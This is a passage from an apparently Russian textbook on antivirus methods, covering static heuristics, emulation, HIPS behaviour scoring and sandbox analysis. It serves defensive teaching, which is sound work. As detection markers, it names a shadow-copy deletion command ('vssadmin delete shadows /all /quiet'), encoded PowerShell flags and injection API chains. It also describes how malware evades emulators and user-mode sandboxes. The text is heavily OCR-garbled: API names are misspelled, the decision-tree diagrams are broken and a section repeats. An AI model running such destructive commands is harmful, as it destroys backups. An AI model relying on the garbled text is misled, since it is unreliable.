несколько категорий.
Аномалии РЕ-структуры:
Точка входа (Entry Point) указывает в последнюю секцию файла —
классический признак вируса, дописавшего своё тело в конец.
Секция обладает одновременно правами на запись и исполнение (WAX) —
легитимные программы редко требуют такого, зато это типично для
распаковщиков и шелл-кодов.
Нестандартное выравнивание секций, подозрительно маленький или большой
SizeOflmage.
Подозрительный импорт:
Комбинация функций, характерная для инжекта в
процесс: VirtualAllocEx + lAi'riteProcessMemory + CreateRemoteThreud
Функции для динамической загрузки
библиотек: LoadLibrary + GetProcAddress (признак ТОГО, ЧТО реальный импорт
скрыт).
Криптографические функции CryptEncrypt, CryptDecrypt, BCryptEncrypt —
особенно если файл не является легитимной криптоугилитой.
Строки
Наличие URL и IP-адресов в теле файла (потенциальные С&С-серверы).
Команды PowerShell С флагами -Executionpolicy Bypass, -EncodedCorrmand.
Ключи реестра, связанные С авюза1 рузкой (Run, Rur.Once).
Пути к системным утилитам, используемым в атаках Living off the Land
(cnd.exe, wmic.exe, schtasks.exe).
Энтропийные характеристики:
Высокая энтропия исполняемой секции при малом количестве импортируемых
функций — почти всегда признак упакованного или зашифрованного
вредоносного кода.
Схема работы статического эвристического анализатора
text
СТАТИЧЕСКИЙ ЭВРИСТИЧЕСКИЙ АНАЛИЗАТОР
ПОСТУПИЛ ФАЙЛ
г
АНАЛИЗ РЕ-СТРУКТУРЫ
• Entry Point
• Права секций
• SizeOflmage
аномалия? +10 баллов
WAX? +15 баллов
нестандартный? +5 баллов
I-----------------------1
| АНАЛИЗ ИМПОРТА |
| • VirtualAllocEx + |—►
WriteProcessMemory|
• Динамический |—►
импорт (Loadliorary
+ GetProcAddress) |
• Крипто-API |—►
инжект? +25 баллов
скрытый импорт? +15 баллов
шифровальщик? +20 баллов
1 | АНАЛИЗ СТРОК | • URL / IP | • PowerShell команды • Ключи автозагрузки I 1 —► С&С? +10 баллов |—► Living off the Land? +15 баллов |—закрепление? +10 баллов
1 ▼
1 1 | АНАЛИЗ ЭНТРОГИИ • Высокая энтропия в исполняемой секции । । 1 |—► упаковка/шифрование? +20 баллов 1 1
I------------------------------1
| ПОДСЧЁТ БАЛЛОВ |
Сумма > порога?
1--------------I---------------1
I
I-----------1 I--------------1
I ПОРОГ НЕ I I ПОРОГ I
| ПРЕВЫШЕН | | ПРЕВЫШЕН |
| -> ЧИСТЫЙ | | -> ПОДОЗРИТ.
Отправить
на эмуляцию |
или в
песочницу
____________I
Проблема контекста: когда эвристика ошибается
Классический пример ложного срабатывания — эвристика «запись в файл hosts
= подозрительно». Действительно, многие трояны
модифицируют С: \biindows\System32\drivers\etc\hosts, чтобы перенаправлять
банковские сайты на фишинговые страницы. Однако запись в hosts производят
и совершенно легитимные программы:
• Утилиты для блокировки рекламы (ранние версии Spybot Search & Destroy).
• Корпоративные агенты безопасности, маршрутизирующие трафик через
внутренние серверы.
• Разработчики, тестирующие веб-приложения на локальном хосте.
Поэтому современная эвристика всегда учитывает контекст: есть ли у файла
валидная цифровая подпись? из какого каталога он запущен? какие ещё
действия производит? Совокупность «безобидных» признаков может дать
высокий суммарный балл, поэтому задача анализатора — не просто
суммировать баллы, а выявлять характерные комбинации.
Пять статических признаков ransomware
Сформулируем список признаков, специфичных для программ-вымогателей.
1 Импорт криптографических
функций (CryptEncrypt, BCryptEncrypt, CryptAcquireContext) — вымогатель должен
шифровать файлы, и без крипго-API эго сделать сложно.
2 Импорт функций перечисления файлов (FindFirstFile/FindNextFile)
и удаления (DeleteFile, NtDeleLeFile) — вымогатель обходит диски и может
уничтожать оригиналы после шифрования.
3 . Строки с расширениями документов — .doc, .docx, .xls, .pdf, .sql, .jpg и т.д.
Вымогатель ищет файлы по расширениям, и их список часто вшит в тело
А. Команды ДЛЯ удаления теневых копий — CTpoKavssadmin.exe delete shadows
/all /quiet является почти безошибочным маркером вымогателя.
5. Высокая энтропия исполняемой секции при малом количестве
импортируемых функций — признак упакованного дроппера, который
доставляет основной модуль вымогателя.
Как обфускация обходит статическую эвристику
Злоумышленники не сидят сложа руки. Против статического анализа
применяется целый арсенал обфускационных техник.
Динамический импорт: вместо честного указания функций в таблице импорта
вирус вызывает LoadLibrary и GetProcAddress С Зашифрованными именами.
Статический анализаюр не видит подозрительных API.
Шифрование строк: URL, пути и команды хранятся е зашифрованном виде и
расшифровываются на лету.
Упаковка и криптование: всё тело вируса сжато или зашифровано
Анализатор видит только распаковщик и случайные данные с высокой
энтропией.
Анти-дизассемблерные трюки: вставка инструкций, которые сбивают
автоматический дизассемблер (например, ложные переходы, опкоды, которые
интерпретируются по-разному при линейном и рекурсивном анализе).
Именно поэтому статическая эвристика — лишь первый рубеж. Если файл не
удалось уверенно классифицировать он отправляется на следующий этап,
динамическую эвристику.
8.2. Динамический эвристический анализ: эмуляция
выполнения кода
Эмулятор как «виртуальный полигон»
Если статический анализ — это изучение чертежа бомбы, то динамическая
эвристика — это её контролируемый подрыв в защищенном
боксе. Эмулятор представляет собой программную модель процессора (и
части операционной системы), которая пошагово выполняет инструкции
подозрительного файла в полностью синтетической среде. Реальный
процессор, память и ОС при эюм не заграгиваюкя.
Как только эмулятор встречает цикл расшифровки, он терпеливо выполняет
его итерацию за итерацией, пока ь виртуальной памяти не появится
расшифрованное тело вируса. Именно этот момент и является целью: получив
чистый, незашифрованный код, можно применить к нему и сигнатурный
анализ, и статические эвристики
Эмуляция vs Виртуализация: в чём разница?
Это фундаментальный вопрос, который часто вызывает путаницу.
Характеристика
Эмуляция
Виртуализация
(песочница)
Исполнение кода На программной модели процессора (медленное) На реальном процессоре (быстрее)
Изоляция Полная, синтетическая среда Полная, но । остевая ОС
Требуемые ресурсы Минимальные (только эмулятор) настоящая Значительные (полноценная
Скорость запуска Мгновенная ВМ с ОС) Требуется загрузка
Уровень контроля Абсолютный (каждая инструкция гостевой ОС Ограниченный (ОС скрывает
Обнаружение под контролем) Сложнее (можно идеально детали) Легче
вредоносным ПО имитировать среду) (артефакты
виртуализации)
Для антивируса на конечной точке предпочтительнее эмуляция.
Она не требует развёртывания гостевой ОС и мгновенно готова к работе.
Потребляет минимум ресурсов что критично для потоковой - сканирования
тысяч файлов
Даёт полный контроль над выполнением — можно в любой момент
остановить, проанализировать состояние и принять решение.
Песочницы (полноценные ВМ) используются для углублённого анализа в
облачных серверах вендора, когда эмулятор не дал однозначного ответа.
Техники обнаружения эмулятора вирусом
Злоумышленники прекрасно осведомлены об эмуляции и встраивают в код
проверки. Если вирус понимает, что он «в матрице», он либо завершается без
вредоносных действий, либо имитирует легитимное поведение.
Техника 1. Проверка времени.
Эмуляция медленнее нативного выполнения. Вирус может выполнить пустой
цикл из миллиона итераций, замеряя время с помощью инструкции rdtsc. Если
прошедшее время значительно превышает ожидаемое — вокруг эмулятор.
Техника 2. Проверка артефактов реальной системы.
Вирус пытается открыть файл, который гарантированно существует в любой
реальной Windows (например, C:\window5\expiorer-.exe), или прочитать
определённый ключ реестра. В эмуляторе файловая система и реестр
синтетические и могут не содержать этих артефактов.
Техника 3. Использование редко поддерживаемых инструкций.
Расширения процессора (SSE4. AVX, FMA) могуг быть реализованы в эмуляюре
не полностью или с ошибками. Вирус выполняет такую инструкцию, и если
эмулятор «падает» или возвращает некорректный результат — обнаружение
состоялось.
Защита эмулятора от анти-эмуляционных уловок
Противостояние эмулятора и вредоносного кода напоминает гонку
вооружений. Защитники применяют следующие меры:
Рандомизация и имитация реальной среды: эмулятор подставляет
реалистичные имена файлов, ключи реестра, версии ОС. Временные метки
эмулируются с микрозадержками, соответствующими реальному
оборудованию.
Полнота набора инструкций: современные эмуляторы поддерживают все
распространённые расширения, включая AVX и SSE4.
Поведенческая реакция: если код обнаруживает эмуляцию и пытается
завершиться — сам этот факт является подозрительным поведением Такой
файл немедленно получает повышенный рейтинг угрозы и отправляется в
облачную песочницу для углублённого анализа.
Схема процесса динамической эвристики
text
I------------------------------------------------------------------1
ДИНАМИЧЕСКИЙ ЭВРИСТИЧЕСКИЙ АНАЛИЗ (ЭМУЛЯЦИЯ)
I-----------------------1
| ПОШАГОВОЕ ИСПОЛНЕНИЕ|
• Расшифровка циклов|
• Распаковка кода
• Мониторинг API-
вызовов
I
I---------------1
| ОБНАРУЖЕНА |
I РАСПАКОВКА
-» Дамп памяти
-» Сигнатурный
анализ
расшифров.
тела
I-------------------1
| АНТИ-ЭМУЛЯЦИЯ |
| (вирус завершился!
или завис)
-» +30 баллов
подозрительности|
| -» Отправка
в облачную
песочницу
I___________________I
8-3. Поведенческий анализ в режиме реального времени
(мониторинг активности процессов)
HIPS: Host-based Intrusion Prevention System
Поведенческий анализ в реальном времени, часто реализуемый как
компонент HIPS (Host-based Intrusion Prevention System), — это третий, самый
глубокий эшелон проактивной защиты. В отличие от эмуляции, которая
работает с кодом до его выполнения, и от статической эвристики, которая
анализирует файл в покое, HIPS наблюдает за поведением процессов в
реальной операционной системе.
Если провести аналогию с полицией; статическая эвристика — это проверка
документов на улице, эмуляция —допрос в участке, a HiPS — это камеры
наблюдения и патрули, отслеживающие подозрительное поведение в
реальном времени.
Механизм работы
Драйвер HIPS перехватывает системные вызовы (или использует коллбэки
ядра) и зидит каждое действие процессов:
• Создание и завершение процессов.
• Загрузка DLL.
• Открытие, создание, запись и удаление файлов.
• Модификация реестра.
• Сетевые соединения
• Выделение памяти, создание потоков.
Каждому типу события присвоен балл риска. Однако одиночное событие
(например, запись в реестр) — не криминал. Ключевая идея HIPS —
анализ цепочек событий. Именно последовательность действий раскрынает
истинные намерения про1раммы.
Классическая вредоносная цепочка
Рассмотрим сценарий работы макровируса:
1 Microsoft Word запускает дочерний процесс cmd. ехе.
(Легитимно ли это? Б нормальной работе — практически никогда. +20 баллов.)
2. cmd.exe запускает powershell.exe с зашифрованной командной строкой (-
EncodedCommand).
(+30 баллов.)
3. powershell.exe выделяет память с правами на запись и исполнение (RWX) в
процессе explorer.exe.
(+40 баллов — это классический инжект.)
Суммарный балл: 20 + 30 + 40 = 90. HIPS блокирует цепочку на втором или
третьем шаге.
Дерево решений HIPS для классификации процесса
Часть 1. Общая архитектура и первые проверки
text
I-----------------------------------------------------------------------------------1
| ДЕРЕВО РЕШЕНИЙ HIPS - ЧАСТЬ 1: НАЧАЛЬНЫЕ ПРОВЕРКИ
□ - проверяемый признак {N) - накопленный балл - финальное решение
I___________________________________________________________________________________I
| НЕТ
□ Цифровая |
□ подпись
□ валидна? |
□ папки?
□ (Temp, AppData,
□ Загрузки браузера)
" I "
I
I---------------1-------------1
| НЕТ | | ДА (+10)
I I I
▼ I ▼
li-------------------т1 I li---------------------------il
□ Является дочерним| | □ Выделил память
□ процессом | | Ос гравами RWX?
□ легитимного | * у И
□ приложения?
II-------------------| ----------1---------1
I | | НЕТ | | ДА (+20)
-----------1--------1 I I U0} I I {30}
▼
I----------------1
| | ПЕРГЙТИ
| | К ЧАСТИ 3
(запись в
| другой проц.)
I________________I
ДА
| НЕТ | ДА
ПЕ- I IЧИС-
□
□
□
□
Соответствие||
родитель «
потомок
типично?
ПЕРЕЙТИ|
| К ЧАСТИ|
I 2 I
| НЕТ | ДА
I
|РЕЙ- ||1ЫЙ || | НЕ - ||ЛЕ- |
1 ти II- II | |РЕЙ- 11 ГИТ.1
|к ||(мо-|I 1 1™ I1- 1
| ЧА- ||ни- || 1 1к 11(чи-1
| СТИ II то- II 1 | ЧА- 1|стый|
|2 11 ринг I1 1 | СТ И 1|про-1
1 II) II J 1 11 1 I2 1 1 IlueccI J 1 1
Часть 2. Ветвь «НЕТ временной папки» — проверка
цифровой подписи и обфускации
text
I------------------------------------------------------------------------1
| ДЕРЕВО РЕШЕНИЙ HIPS - ЧАСТЬ 2: ПРОЦЕСС ЗАПУШЕН НЕ ИЗ ВРЕМЕННОЙ ПАПКИ |
I I
□ - проверка {4} - накопленный балл - финальное решение
I________________________________________________________________________I
ВХОД ИЗ ЧАСТИ 1 |
| (не из Тетр, нет
дочерней связи,
нет подписи)
1---------I-----------1
I
▼
И-------------------------II
С Запущен из редкой
С папки?
□ (PrograrrData,
П нестандартный путь)
" I "
I
I---------------1---------------1
| НЕТ V Il И □ Есть признаки □ обфускации □ или упаковки? 1 ДА (+15) ▼ II 11 □ Есть признаки □ обфускации или □ упаковки?
|| 11 1 1 1 _| , I 11
1 | НЕТ 1 1 1 1 1 ДА 1 , 1 | НЕТ , 1 | ДА (+25)
▼ | , , | ▼ ▼ I , ,
1 1 1 ЧИСТЫЙ | 1 1 1 1 I | ПОДО- 1 1 1 1 I ПОДО- 1 1 1 1 1 КРИТИЧ. РИСК |
1 1 1 1 ЗРИТ. 1 1 | ЗРИТ. I
| (мони- | (отправка в
| торинг)| 1 1 (от- 1 1 1 (от- 1 песочницу,
1 1 | правка | | правка | | уведомление |
| в пе- | в пе- аналитика)
| сочни- | сочни- | 1 1
1 1 НУ) II I 1 1 1 1 1 цу) 1 1 1 1 1 1
Часть ЗА. Ветвь «Временная папка, НЕТ RWX» — начальный
балл {10}
text
I-----------------------------------------------------------------------------------------1
| ДЕРЕВО РЕШЕНИЙ HTPS - ЧАСТЬ ЗА: ВРЕМЕННАЯ ПАНКА, НЕТ RWX ({10}) I
I I
□ - проверка {4} - накопленный балл - финальное решение
I_________________________________________________________________________________________I
I--------------------1
| ВХОД ИЗ ЧАСТИ 1 I
| (из Тетр,
| НЕТ RWX) |
I {10} I
I
▼
Il II
С Сетевая
□ активность вовне?1!
С (подключение к
□ внешнему 1P/URL)||
I' И
| НЕ Г
I {10}
▼
--------1
ЧИСТЫЙ |
(малый
риск) |
I-------------
| HET
I {10}
▼
I II
□ Есть признаки
□ обфускации
□ или упаковки?
" I "
-----1
| ДА
I {35}
▼
I----------1
I ПОДО- I
| ЗРИТ. I
I (°Т- |
| правка ।
| в пе
сочни -
I МУ) I
I__________I
----------1
| ДА (+20)
I {30}
▼
h
□ Создал запись в
□ автозагрузке?
□ (Run, Служба,
□ WMI, Startup)? ||
" I "
| НЕТ | | ДА (+25)
I {30} | | {55}
▼
I-------1
I МОНИ- I
I ТОРИНг |
| (малый |
риск,
логи- |
рова- |
ние)
I_______I
11ОДОЗРИТ.
(отправка в
песочницу)
Часть ЗБ-1. Ветвь «Временная папка, ДА RWX» — проверка
инжекта и автозагрузки
text
I--------------------------------------------------------------------------
| ДЕРЕВО РЕШЕНИЙ HIPS - ЧАСТЬ ЗБ-1: RWX -» ИНЖЕКТ И АВТОЗАГРУЗКА
I
□ - проверка {N} - накопленный балл — финальное решение
I__________________________________________________________________________
I----------------------1
| ВХОД ИЗ ЧАСТИ 1 I
| (из Тетр,
ДА RvJX)
I {30}
I
Il I
□ Запись в другой
□ процесс?
С (WriteProcessMcm, l|
С CreateRemoteThr) ||
11 I "
I I I
НЕТ | {30} | ' 1 1 | ДА (1-30) 1 {60}
и и । □ Создал запись || □ в автозагруз- | □ ке? || | □ (Run, Служба, । □ WMI, Startup) || | " 1 " 1 1 1 II □ Создал запись в □ автозагрузке? □ (Run, Служба, □ WMI, Startup)? || 11 1 1_
1 1 НЕТ | {30} | . 1 1 1 ДА | {55} | 1 . 1 НЕТ {00} 1 1 ДА (+25) {85}
' 1 ’ II II 1 1 1 1 1 1 ПЕРЕ- | МОНИ- I I I ПОДО- I I I ход I ТСРИНГ I I I ЗРИТ. I I I К ЧАСТИ I 1 II" | | | ЗБ-2 I (псвы- | | | (от- III | шейный | | правка риск, | | | в пе- | | | | логи- | | | сочни- рова- | I I Цу) III I ние) | | । 1 | | | 1 1 1 1 | 1 ПЕРЕХОД К ЧАСТИ ЗБ-2 (сетевая проверка)
I______________________________________________________________________I
Часть ЗБ-2, Ветвь «Временная папка, ДА RWX» —
финальные проверки и вердикты
text
—
ДЕРЕВО РЕШЕНИЙ HIPS - ЧАСТЬ ЗБ-2: ФИНАЛЬНЫЕ ПРОВЕРКИ И ВЕРДИКТЫ |
I
□ - проверка {N} - накопленный балл - финальное решение
________________________________________________________________I
I-------------------
I ВХОД ИЗ ЗБ-1
(нет инжекта)
I {60}
1----------I--------
I
Il II
□ Запустил дочернийЦ
□ процесс?
□ (emdj PowerShell) ||
I---------
| НЕТ
I {60}
▼
I-----------------1
| КРИТИЧ. РИСК I
I
| (изоляция,
уведомление
аналитика)
I_________________I
----------1
| ДА
I {85}
▼
I--------------1
| ПЕРЕХОД |
| К ФИНАЛЬНОЙ |
| ПРОВЕРКЕ
| (схема ниже) |
Il II
□ Есть сетевое
□ соединение без
□ цифровой подписи?
" I "
I {85}
▼
I--------1
|СНИЖЕНИЕ|
|РИСКА |
(легит. |
|задача?)|
h i il I
II ДА | HET|| |
▼ ▼
I---1 I---1 I
|ЛЕ-||ЧИ-||
|гит||ст.||
I" II" II
I (ле I I(MO I I
|ги-| |ни-||
|тим||1O- I I
| ная ||ри-| |
|за-I|нг) | |
|да-|| II
Ы| ||
I___I I___I I
I {100}
▼
I----------------1
| ВРЕДОНОСНЫЙ I
I
I БЛОКИРОВАТЬ, I
| ОТКАТИТЬ
| ИЗМЕНЕНИЯ |
I________________I
ВХОД ИЗ ЗБ-1 (есть запись в автозагрузке)
{85}
1г=-----------------О
□ Есть сетевое
□ соединение без
□ цифровой подписи?||
11 I "
I--------
| НЕТ
I {85}
▼
I----------1
|критич. I
| РИСК
--------1
| ДА (+15)
| {100}
▼
I--------------1
| ВРЕДОНОСНЫЙ |
I I
|в III БЛОКИРОВАВ,
|(изоля- | | | ОТКАТИТЬ |
| ция, | | | ИЗМЕНЕНИЯ |
| уведем- | | 1------------1
| ление)
I_________I I
I
I
I
I
I
I
I
I
Итоговая легенда решений (для всех частей)
text
I I | ЛЕГЕНДА ФИНАЛЬНЫХ РЕШЕНИЙ I I
ЧИСТЫЙ - вредоносных признаков нет, разрешено выполнение.
МОНИТОРИНГ — подозрителен, но балл мал Усиленное дотирование.
ПОДОЗРИТЕЛЬНЫЙ - балл 25-55. Отправка в облачную песочницу.
КРИТИЧ. РИСК - балл 60-85, без завершающего вредоносного признака.
Изоляция процесса, уведомление аналитика.
ВРЕДОНОСНЫЙ - балл >85 (особенно 100). Немедленная блокировка,
I завершение процесса, откат изменений. ।
Таблица баллов (сводная)
Признак
Балл
Запущен из временной папки (Temp. AppData, Загрузки) +10
Выделил память с правами RWX + 20
Запись в другой процесс (Wi iteProcessMemory, CreateRemoteThread) +30
Создал запись в автозагрузке (Run, Служба, WMI, Startup) +25
Сетевое соединение без цифровой подписи
+ 15
Признак
Балл
Сетевая активность вовне (подключение к внешнему 1P/URL) +20
Есть признаки обфускации или упаковки +25
Запустил дочерний процесс (cmd, powershell) контекстный признак
Сводная таблица баллов и порогов (справочно)
Признак Балл
Запущен из временной папки (Temp. AppData, Загрузки) + 10
Выделил память с правами RWX +20
Запись в другой процесс (WriteProcessMemory, CreateRemoteThread) + 30
Создал запись в автозагрузке (Run, Служба, WMI,
+25
Startup)
Сетевое соединение без цифровой подписи +15
Есть признаки ибфускации или упаковки +25
Сетевая активность вовне (подключение к внешнему
IP/URL)
Запущен из редкой папки (ProgramData, г
нестандартный путь)
Признак
Запустил дочерний процесс (cmd. powershell)
Балл
контекстный признак
Накопленный балл
0-20
25-55
60 85
>85 (особенно 100)
Решение
ЧИСТЫЙ или
МОНИТОРИНГ (малый
риск)
ПОДОЗРИТЕЛЬНЫЙ
(отправка в облачную
песочницу)
КРИТИЧЕСКИЙ РИСК
(изоляция, уведомление
аналитика)
ВРЕДОНОСНЫЙ
(немедленная блокировка,
откат изменений)
Проблема необратимости и методы её решения
(дополнение к разделу 8.3)
У HIPS есть фундаментальная уязвимость: он реагирует на действия, которые
уже происходят. Если вымогатель начал шифровать файлы, блокировка на
пятом файле спасёт систему, но первые четыре уже потеряны.
Для смя1чения этого риска применяются три стра1егии.
1. Технология отката (Rollback).
HIPS-драйвер создает теневые копии файлов, которые программа пытается
изменить Если в течение короткого времени программа признаётся
вредоносной, все её изменения автоматически откатываются. Это похоже на
снапшоты виртуальной машины, но на уровне отдельных файлов.
2. Отложенное выполнение операций.
Драйвер фильтра файловой системы временно буферизирует запрошенные
программой изменения и не применяет их к реальной файловой системе до
получения вердикта от HIPS. Если вердикт «чистый» — буфер применяется.
Если «вредоносный» — буфер уничтожается.
3. Раннее обнаружение цепочки.
Вредоносная активность редко начинается сразу с шифрования. Ей
предшествуют sai рузка дроппера, создание службы, закрепление в
автозагрузке. HIPS, перехватывая эти ранние звенья цепочки, способен
заблокировать угрозу ещё до того, как она доберётся до полезной нагрузки.
text
Г
I
--------------------------------------------------------------1
МЕТОДЫ СМЯГЧЕНИЯ НЕОБРАТИМОСТИ В HIPS
______________________________________________________________I
ВРЕДОНОСНАЯ ОПЕРАЦИЯ НАЧАТА
МЕТОД СМЯГЧЕНИЯ
I-------------------------1
| Программа пытается
I изменить файл
I_________________________I
I----------------------------1
| 1. ROLLBACK (откат) |
• Создание теневой копии
перед изменением
| • Если вердикт «вредонос.»|
-> автоматический откат |
I____________________________I
I------------------------1
| Программа пытается
| записать данные
I________________________I
I----------------------------1
| 2. ОТЛОЖЕННОЕ ВЫПОЛНЕНИЕ|
• Буферизация операции
• Ожидание вердикта HIPS
• Чистый -» применить
• Вредоносный -» удалить
I____________________________I
I------------------------1
| Программа выполняет
| первые шаги атаки
(закрепление,
развёртывание)
I________________________I
I----------------------------1
| 3. РАННЕЕ ОБНАРУЖЕНИЕ |
| • Перехват цепочки на
стадии закрепления
| • Блокировка до этапа
полезной нагрузки
I____________________________I
Таким образом, HIPS не просто фиксирует свершившийся факт атаки, а
использует комбинацию превентивных и реактивных мер, чтобы
минимизировать ушерб даже в том случае, если вредоносное действие
частично успело выполниться.
У HIPS есть фундаментальная уязвимость: он реагирует на действия, которые
уже происходят. Если вымогатель начал шифровать файлы, блокировка на
пятом файле спасёт систему, но первые четыре уже потеряны.
Для смягчения этого риска применяются три стратегии:
1 Технология отката (Rollback): HIPS-драйвер создаёт теневые копии файлов,
которые программа пытается изменить. Если в течение короткого времени
программа признаётся вредоносной, все её изменения автоматически
откатываются. Это похоже на снапшоты виртуальной машины, но на уровне
отдельных файлоз
2. Отложенное выполнение операций: Драйвер фильтра файловой системы
может временно буферизировать запрошенные программой изменения и не
применять их к реальной файловой системе до получения вердикта от HIPS.
3. Раннее обнаружение цепочки: Вредоносная активность редко начинается
сразу с шифрования. Ей предшествуют загрузка дроппера, создание службы,
закрепление в автозагрузке. HiPS, перехватывая эти ранние звенья цепочки,
способен заблокировать угрозу ещё до того, как она доберётся до полезной
нагрузки
Сравнение динамической эвристики и поведенческого анализа
Характеристика
Динамическая эвристика (эмуляция)
Поведенческий
анализ (HIPS)
Где выполняется
код
Внутри синтетической среды
эмулятора
Момент анализа До запуска файла
Что наблюдается
Инструкции процессора, вызовы API
внутри эмулятора
В реальной
операционной
системе
В процессе
выполнения
Системные вызовы,
операции с
файлами, реестром,
сетью
Характеристика
Динамическая эвристика (эмуляция)
Поведенческий
анализ (HIPS)
Риск для системы
Нулевой (полная изоляция)
Присутсп-ует
(действия уже
происходят)
Скорость
Быстрее (миллисекунды)
Реальное время
Обход вирусом
Через анти-эмуляционные техники
Через маскировку
под легитимное
поведение
Эти два подхода не конкурируют, а дополняют друг друга. Эмуляция безопасна
и быстра, но может быть обманута. HIPS видит реальное поведение, но
реагирует постфактум. Вместе они создают глубоко эшелонированную
проактивную защиту, перекрывая слепые зоны друг друга.
Глава 9. Песочницы и изолированные среды
Когда статическая эвристика и эмуляция не дают однозначного вердикта, в
дело вступает третий, самый мощный инструмент проактивного анализа
— песочница. Если эмулятор — это быстрый допрос в участке, то песочница —
это полноценный следственный эксперимент в воссозданной квартире
подозреваемого. Здесь вредоносная программа запускается в реалистичной,
но полностью изолированной среде, и каждое ее действие протоколируется.
Эта глава раскрывает устройство песочниц, методы анализа собранных данных
и противостояние техникам обхода
9.1. Принцип работы песочницы: запуск подозрительного
файла в виртуальной среде
Архитектура песочницы
Песочница — это строго изолированная среда, построенная, как правило, на
базе аппаратной виртуализации. Внутри неё развёрнута полноценная гостевая
операционная система со стандартным набором программного обеспечения
Подозрительный файл запускается в этой среде., а специальные драйверы и
агенты перехватывают и протоколируют каждое его действие.
Ключевое отличие от эмуляции в том, что код выполняется на реальном
процессоре в реальной (хотя и виртуализированной) операционной системе.
Это означает, что песочница значительно менее уязвима для анти-
змуляционных трюкоо если вирус проверяет, настоящий ли процессор, — он
настоящий; если обращается к реестру— реестр настоящий.
Однако за это приходится платить ресурсами: каждая песочница — это
полноценная виртуальная машина, потребляющая гигабайты оперативной
памяти и процессорное время.
Схема устройства облачной песочницы
text
ПЕСОЧНИЦА 1
(Windows 10)
I---------------1
Гостевая ОС
• Запуск
образца
• Мониторинг
ПЕСОЧНИЦА 2
(Windows 11)
ПЕСОЧНИЦА N
(Windows 7)
| Гостевая ОС
। • Запуск
образца
• Мониторинг |
I______,________I
Гостевал ОС
• Запуск
образца
• Мониторинг
I
СБОР И КОРРЕЛЯЦИЯ
ДАННЫХ
• Системные вызовы
• Файловая активность
• Реестр
• Сетевой трафик
• Дампы памяти
АНАЛИТИЧЕСКИЙ
МОДУЛЬ
• Сигнатуры поведения
• Корреляционные
правила
• ML-классификация
ОТЧЁТ
i • Вердикт
* Описание поведения
| • Скриншоты
• Сетевые индикаторы
| • Тактики MITRE
| АТТ&СК |
_______________________
Сравнение песочниц: User-mode протии гипервизора
Эго фундаментальный для понимания вопрос. Песочницы различаются по
уровню, на котором осуществляется изоляция и перехват.
Характеристика
User-mode песочница (хуки API)
Песочница на
гипервизоре
Уровень работы
Ring 3 (пользовательский)
Ring -1
(гипервизор),
Характеристика
User-mode песочница (хуки API)
Песочница на
гипервизоое
Ring 0 (гостевое ядро)
Механизм перехвата Подмена DLL, IAT-хукинг, инлайн- Аппаратная
хуки виртуализация (EFT, VT-x) Ниже
Высокая (минимальные накладные (дополнительный
П роизводительность
Устойчивость к расходы) Низкая' вирус может использовать слой виртуализации) Высокая: гостевая ОС не знает о гипервизоре,
прямые системные вызовы (syscall) можно
обходу перехватывать
Сложность или нехукаемые API любые действия на уровне страниц памяти
реализации Средняя Очень высокая Облачные
Типичное Локальные песочницы в составе песочницы
применение антивируса, Sandboxie вендоров (Joe Sandbox, VMRay)
Пример обхода user-mode песочницы: вредоносная программа, вместо
вызова writerile через kernel32.dK (который перехвачен хуком), напрямую
выполняет инструкцию syscall с номером системного вызова Ntwrixerile. Хук в
user-mode этою не видит, и песочница «слепнет» Гипервизорная песочница,
напротив, отслеживает выполнение на уровне страниц памяти и видит любое
обрашение к ядру.
Почему песочница обязана эмулировать сеть?
Многие современные вирусы перед выполнением вредоносной нагрузки
проверяют, подключена ли машина к интернету. Типичный приём — DNS-
запрос к googie.com или HTTP-запрос к известному сервису. Если соединения
нет, вирус предполагает, что он в изолированной аналитической среде, и
завершает работу без проявления вредоносной активности
Песочница должна создать иллюзию полноценного интернет-соединения.
Для этого разворачивается виртуальный сетевой стек с перехватом трафика:
text
ЭМУЛЯЦИЯ СЕТИ В ПЕСОЧНИЦЕ
I----------------------1
| ГОСТЕВАЯ ОС |
I I
• DNS-запрос -» |-1
• HTTP(S)-запрос -> |
• Подозрительный
I порт -> | |
1 1 I
ВИРТУАЛЬНЫЙ СЕТЕВОЙ ШЛЮЗ
-----1 ’--------------------1 Г
DNS-сервер
• Разрешает
любые имена
• Легирует
DGA-домены
HTTP(S)-сервер
• Возвращает
реалистичные
ответы
• Логиоует URI
Перехват чик
кастомных
протоколов
* Запись
пейлоадов
I----------------------------------------------------------
| ВСЕ ЗАПРОСЫ ЗАПИСЫВАЮТСЯ И АНАЛИЗИРУЮТСЯ НА ПРЕДМЕТ:
• Обл-паттернов
• Обращений к известным вредоносным доменам/1Р
• Нестандаотных протоколов C&C
• Попыток туннелирования (DNS, ICMP)
I I
Fake Net (фальшивая сеть) не просто отвечает на запросы — она имитирует
ответы так, чтобы вирус «поверил» в реальность окружения. DNS-сервер
разрешает любое имя, HTTP-сервер отдаёт реалистичные страницы, а все
нестандартные запросы перехватываются и протоколируются.
Сценарий тестирования файла в облачной песочнице
Процесс анализа подозрительного файла в облачной песочнице представляет
собой строго регламентированную процедуру
Шаг 1. Загрузка образца.
Файл отправляется в облако через клиент антивируса, неб-портал или API. Ему
присваивается уникальный идентификатор.
Шаг 2. Распределение по средам.
Диспетчер запускает образец одновременно в нескольких виртуальных
машинах с разными конфигурациями. Windows 10, Windows 11, разные
языковые пакеты, разный набор установленного ПО.
Шаг 3. Исполнение.
Файл запускается под разными учётными записями (администратор,
ограниченный пользователь) и взаимодействует с системой в течение
заданного времени (обычно 3-5 минут, но может быть продлено при
обнаружении признаков задержки).
Шаг 4. Сбор данных.
Регистрируются все системные вызовы, изменения в файловой системе и
реестре, сетевой трафик, дампы памяти в ключевые моменты, скриншоты
экрана.
Шаг 5. Анализ и выделение ЮС.
Корреляционный движок сопоставляет собранные данные с сигнатурами
поредения, применяет ML-модели и формирует список индикаторов
компрометации (ЮС).
Шаг 6. Генерация отчёта.
Формируется структурированный отчет, включающий вердикт (вредоносный /
подозрительный / чистый), описание поведения, скриншоты, сетевые
индикаторы и тактики по матрице MITRE АТТ&СК.
9.2. Анализ сетевой активности и изменений в файловой
системе
Корреляция: ключ к точности
Собрать гигабайты логов недостаточно — необходимо увидеть связи между
событиями. Отдельно взятая операция (создание файла, запись в реестр) может
быть совершенно легитимной. Но комбинация этих операций, выполненная
одним процессом в течение короткого времени, раскрывает истинную картину.
Рассмотрим классический профиль трояна-дроппера.
1 Создание файла в %AppData%\svchost. ехе — сам по себе svchost.ехе никогда не
находится в пользовательской папке, это системный процесс.
2. Запись в реестр в ключ Run с указанием пути к этому файлу — закрепление в
автозагрузке.
3. Сетевое соединение с недавно зарегистрированным доменом на
нестандартном порту — канал связи с С&С-сервером.
